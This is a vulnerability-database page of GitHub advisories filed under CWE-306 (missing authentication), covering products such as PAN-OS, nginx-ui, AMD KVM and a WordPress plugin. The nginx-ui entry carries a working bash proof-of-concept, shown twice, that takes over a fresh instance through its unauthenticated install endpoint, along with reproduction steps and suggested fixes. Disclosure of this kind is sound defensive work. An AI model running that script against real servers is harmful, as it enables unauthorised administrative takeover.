Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3465 vulnerabilities reference this CWE, most recent first.

GHSA-MW9X-2QWV-599P

Vulnerability from github – Published: 2024-11-18 18:30 – Updated: 2025-10-22 00:33
VLAI
Details

An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 .

The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.

Cloud NGFW and Prisma Access are not impacted by this vulnerability.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/AU:N/R:U/V:C/RE:H/U:Red
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-18T16:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like  CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 .\n\nThe risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended\u00a0 best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.\n\nCloud NGFW and Prisma Access are not impacted by this vulnerability.",
  "id": "GHSA-mw9x-2qwv-599p",
  "modified": "2025-10-22T00:33:11Z",
  "published": "2024-11-18T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0012"
    },
    {
      "type": "WEB",
      "url": "https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2024-0012"
    },
    {
      "type": "WEB",
      "url": "https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-0012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:H/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MW9X-56VQ-M9QF

Vulnerability from github – Published: 2023-02-09 18:30 – Updated: 2025-03-24 21:30
VLAI
Details

The WMS module lacks the authentication mechanism in some APIs. Successful exploitation of this vulnerability may affect data confidentiality.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-48300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-09T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "The WMS module lacks the authentication mechanism in some APIs. Successful exploitation of this vulnerability may affect data confidentiality.",
  "id": "GHSA-mw9x-56vq-m9qf",
  "modified": "2025-03-24T21:30:27Z",
  "published": "2023-02-09T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48300"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/2"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202302-0000001454769474"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWXQ-5H59-MWF9

Vulnerability from github – Published: 2024-07-15 15:30 – Updated: 2024-07-15 15:30
VLAI
Details

The vulnerability allows an attacker to bypass the authentication requirements for a specific PAM endpoint.

Severity
5.3 (Medium)
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-36457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-15T14:15:02Z",
    "severity": "MODERATE"
  },
  "details": "The vulnerability allows an attacker to bypass the authentication requirements for a specific PAM endpoint.",
  "id": "GHSA-mwxq-5h59-mwf9",
  "modified": "2024-07-15T15:30:59Z",
  "published": "2024-07-15T15:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36457"
    },
    {
      "type": "WEB",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24678"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MX37-2933-QXXQ

Vulnerability from github – Published: 2024-11-25 12:33 – Updated: 2024-11-25 12:33
VLAI
Details

Improper handling of WiFi information by framework services can allow certain malicious applications to obtain sensitive information.

Severity
1.0 (Low)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-12492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-25T10:21:14Z",
    "severity": "LOW"
  },
  "details": "Improper handling of WiFi information by framework services can allow certain malicious applications to obtain sensitive information.",
  "id": "GHSA-mx37-2933-qxxq",
  "modified": "2024-11-25T12:33:23Z",
  "published": "2024-11-25T12:33:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12492"
    },
    {
      "type": "WEB",
      "url": "https://www.vivo.com/en/support/security-advisory-detail?id=12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MXQH-Q9H6-V8PQ

Vulnerability from github – Published: 2026-05-06 16:59 – Updated: 2026-05-06 16:59
VLAI
Summary
Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover
Details

Summary

An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.

When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.

This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.

The primary attack path is direct network access to a reachable fresh instance.[^cors]

This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).

Impact

This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.

The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.

In live testing, the attacker was able to:

  • confirm that the target was still uninitialized
  • submit attacker-chosen bootstrap credentials
  • lock the installation under attacker control
  • immediately authenticate as the newly set administrator

Observed values during live reproduction included:

INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"}

Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.

PoC

The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.

Standalone PoC:

#!/usr/bin/env bash
set -euo pipefail

base_url="http://127.0.0.1:9000"
email="poc2@nginxui.test"
username="pocverify2"
password="Passw0rd123"

tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT

install_before="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_BEFORE=%s\n' "$install_before"

key_json="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \
  "${base_url}/api/crypto/public_key")"

key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')"
printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem"
openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1

printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json"
encrypted_install="$(
  openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \
  | openssl base64 -A
)"

install_post="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"encrypted_params\":\"${encrypted_install}\"}" \
  "${base_url}/api/install")"
printf 'INSTALL_POST=%s\n' "$install_post"

install_after="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_AFTER=%s\n' "$install_after"

printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json"
encrypted_login="$(
  openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \
  | openssl base64 -A
)"

login_response="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"encrypted_params\":\"${encrypted_login}\"}" \
  "${base_url}/api/login")"
printf 'LOGIN_RESPONSE=%s\n' "$login_response"

Observed output during live verification:

INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"}

Steps to Reproduce

  1. Start a fresh local nginx-ui v2.3.5 instance from the tested Docker image digest with empty /etc/nginx and /etc/nginx-ui directories.
mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui

docker run -d --rm --name nginx-ui-poc \
  -v "$PWD/.tmp/poc-nginx:/etc/nginx" \
  -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \
  uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a
  1. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:
docker exec -it nginx-ui-poc bash

Then set base_url to http://127.0.0.1:9000 and run the standalone PoC.

  1. Observe the output.

Actual result:

  • GET /api/install returns {"lock":false,"timeout":false}
  • POST /api/install returns {"message":"ok"}
  • a follow-up GET /api/install returns {"lock":true,"timeout":false}
  • POST /api/login succeeds with the attacker-chosen username and password and returns a valid token

Expected result:

  • arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret
  • POST /api/install should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor
  • attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup

Suggested Fix

  1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.

  2. Require a local-only or out-of-band bootstrap secret for POST /api/install, for example:

  3. generate a one-time setup token at startup
  4. print or store it locally on the host

  5. require that token to complete initialization

  6. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.

  7. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as /api/self_check and /api/restore.

  8. As defense in depth, narrow CORS on setup endpoints. POST /api/install should not be callable cross-origin by arbitrary websites.

  9. Add regression tests covering:

  10. unauthenticated remote POST /api/install being rejected by default
  11. no installation claim without a valid bootstrap secret
  12. /api/self_check and /api/restore requiring authentication
  13. no cross-origin installation via browser preflight and JSON POST

[^cors]: In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: *. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/nginx-ui"
      },
      "versions": [
        "2.3.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T16:59:43Z",
    "nvd_published_at": "2026-05-04T21:16:32Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn unauthenticated bootstrap takeover exists in `nginx-ui` during the initial installation window exposed by `POST /api/install`.\n\nWhen the instance is still uninitialized, `POST /api/install` is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application\u0027s JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.\n\nThis is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.\n\nThe primary attack path is direct network access to a reachable fresh instance.[^cors]\n\nThis was reproduced over HTTP against live local instances started from `nginx-ui` `v2.3.5` using Docker image `uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a` (`org.opencontainers.image.version=2.3.5`, revision `1a9cd29a308278173aa0f16234cb78061dd2bd42`).\n\n## Impact\n\nThis issue allows full unauthenticated takeover of a fresh `nginx-ui` instance during the initial installation window.\n\nThe practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.\n\nIn live testing, the attacker was able to:\n\n- confirm that the target was still uninitialized\n- submit attacker-chosen bootstrap credentials\n- lock the installation under attacker control\n- immediately authenticate as the newly set administrator\n\nObserved values during live reproduction included:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,...,\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\nBecause the bootstrap request also initializes the application\u0027s trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.\n\n## PoC\n\nThe following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only `bash`, `curl`, and `openssl`.\n\nStandalone PoC:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nbase_url=\"http://127.0.0.1:9000\"\nemail=\"poc2@nginxui.test\"\nusername=\"pocverify2\"\npassword=\"Passw0rd123\"\n\ntmpdir=\"$(mktemp -d)\"\ntrap \u0027rm -rf \"$tmpdir\"\u0027 EXIT\n\ninstall_before=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf \u0027INSTALL_BEFORE=%s\\n\u0027 \"$install_before\"\n\nkey_json=\"$(curl -fsS \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \"{\\\"timestamp\\\":$(date +%s),\\\"fingerprint\\\":\\\"install-takeover-poc\\\"}\" \\\n  \"${base_url}/api/crypto/public_key\")\"\n\nkey_escaped=\"$(printf \u0027%s\u0027 \"$key_json\" | sed -n \u0027s/.*\"public_key\":\"\\(.*\\)\",\"request_id\".*/\\1/p\u0027)\"\nprintf \u0027%b\u0027 \"$key_escaped\" \u003e \"${tmpdir}/public_key.pem\"\nopenssl rsa -RSAPublicKey_in -in \"${tmpdir}/public_key.pem\" -pubout -out \"${tmpdir}/public_key_spki.pem\" \u003e/dev/null 2\u003e\u00261\n\nprintf \u0027{\"email\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}\u0027 \"$email\" \"$username\" \"$password\" \u003e \"${tmpdir}/install.json\"\nencrypted_install=\"$(\n  openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/install.json\" \\\n  | openssl base64 -A\n)\"\n\ninstall_post=\"$(curl -fsS \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \"{\\\"encrypted_params\\\":\\\"${encrypted_install}\\\"}\" \\\n  \"${base_url}/api/install\")\"\nprintf \u0027INSTALL_POST=%s\\n\u0027 \"$install_post\"\n\ninstall_after=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf \u0027INSTALL_AFTER=%s\\n\u0027 \"$install_after\"\n\nprintf \u0027{\"name\":\"%s\",\"password\":\"%s\",\"otp\":\"\",\"recovery_code\":\"\"}\u0027 \"$username\" \"$password\" \u003e \"${tmpdir}/login.json\"\nencrypted_login=\"$(\n  openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/login.json\" \\\n  | openssl base64 -A\n)\"\n\nlogin_response=\"$(curl -fsS \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \"{\\\"encrypted_params\\\":\\\"${encrypted_login}\\\"}\" \\\n  \"${base_url}/api/login\")\"\nprintf \u0027LOGIN_RESPONSE=%s\\n\u0027 \"$login_response\"\n```\n\nObserved output during live verification:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,\"token\":\"\u003credacted\u003e\",\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\n## Steps to Reproduce\n\n1. Start a fresh local `nginx-ui` `v2.3.5` instance from the tested Docker image digest with empty `/etc/nginx` and `/etc/nginx-ui` directories.\n\n```bash\nmkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui\n\ndocker run -d --rm --name nginx-ui-poc \\\n  -v \"$PWD/.tmp/poc-nginx:/etc/nginx\" \\\n  -v \"$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui\" \\\n  uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a\n```\n\n2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:\n\n```bash\ndocker exec -it nginx-ui-poc bash\n```\n\nThen set `base_url` to `http://127.0.0.1:9000` and run the standalone PoC.\n\n3. Observe the output.\n\nActual result:\n\n- `GET /api/install` returns `{\"lock\":false,\"timeout\":false}`\n- `POST /api/install` returns `{\"message\":\"ok\"}`\n- a follow-up `GET /api/install` returns `{\"lock\":true,\"timeout\":false}`\n- `POST /api/login` succeeds with the attacker-chosen username and password and returns a valid token\n\nExpected result:\n\n- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret\n- `POST /api/install` should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor\n- attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup\n\n## Suggested Fix\n\n1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.\n\n2. Require a local-only or out-of-band bootstrap secret for `POST /api/install`, for example:\n- generate a one-time setup token at startup\n- print or store it locally on the host\n- require that token to complete initialization\n\n3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.\n\n4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as `/api/self_check` and `/api/restore`.\n\n5. As defense in depth, narrow CORS on setup endpoints. `POST /api/install` should not be callable cross-origin by arbitrary websites.\n\n6. Add regression tests covering:\n- unauthenticated remote `POST /api/install` being rejected by default\n- no installation claim without a valid bootstrap secret\n- `/api/self_check` and `/api/restore` requiring authentication\n- no cross-origin installation via browser preflight and JSON POST\n\n[^cors]: In live testing, `OPTIONS /api/install` returned `Access-Control-Allow-Origin: *`. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.",
  "id": "GHSA-mxqh-q9h6-v8pq",
  "modified": "2026-05-06T16:59:43Z",
  "published": "2026-05-06T16:59:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42222"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover"
}

GHSA-MXR8-33JP-5X6F

Vulnerability from github – Published: 2026-05-14 15:31 – Updated: 2026-05-14 15:31
VLAI
Details

Missing authentication in the KVM key download endpoint could allow an unauthenticated attacker with knowledge of the exposed URL to retrieve sensitive keys, potentially leading to loss of confidentiality.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-62619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T15:16:43Z",
    "severity": "MODERATE"
  },
  "details": "Missing authentication in the KVM key download endpoint could allow an unauthenticated attacker with knowledge of the exposed URL to retrieve sensitive keys, potentially leading to loss of confidentiality.",
  "id": "GHSA-mxr8-33jp-5x6f",
  "modified": "2026-05-14T15:31:58Z",
  "published": "2026-05-14T15:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62619"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-9023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MXRM-M5F7-QX88

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43
VLAI
Details

IBM InfoSphere Master Data Management - Collaborative Edition 11.5 could allow an unauthorized user to download reports without authentication. IBM X-Force ID: 129892.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-1523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-24T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "IBM InfoSphere Master Data Management - Collaborative Edition 11.5 could allow an unauthorized user to download reports without authentication. IBM X-Force ID: 129892.",
  "id": "GHSA-mxrm-m5f7-qx88",
  "modified": "2022-05-13T01:43:42Z",
  "published": "2022-05-13T01:43:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1523"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/129892"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/docview.wss?uid=swg22009633"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101566"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P228-573M-H3R3

Vulnerability from github – Published: 2025-11-25 18:32 – Updated: 2025-11-25 18:32
VLAI
Details

SiRcom SMART Alert (SiSA) allows unauthorized access to backend APIs. This allows an unauthenticated attacker to bypass the login screen using browser developer tools, gaining access to restricted parts of the application.

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-13483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T18:15:49Z",
    "severity": "HIGH"
  },
  "details": "SiRcom SMART Alert (SiSA) allows unauthorized access to backend APIs. This allows an unauthenticated attacker to bypass the login screen using browser developer tools, gaining access to restricted parts of the application.",
  "id": "GHSA-p228-573m-h3r3",
  "modified": "2025-11-25T18:32:22Z",
  "published": "2025-11-25T18:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13483"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P25V-3Q9M-P32X

Vulnerability from github – Published: 2024-10-22 06:31 – Updated: 2024-10-22 06:31
VLAI
Details

The Rover IDX plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 3.0.0.2905. This is due to insufficient validation and capability check on the 'rover_idx_refresh_social_callback' function. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to log in to administrator. The vulnerability is partially patched in version 3.0.0.2905 and fully patched in version 3.0.0.2906.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-22T05:15:03Z",
    "severity": "HIGH"
  },
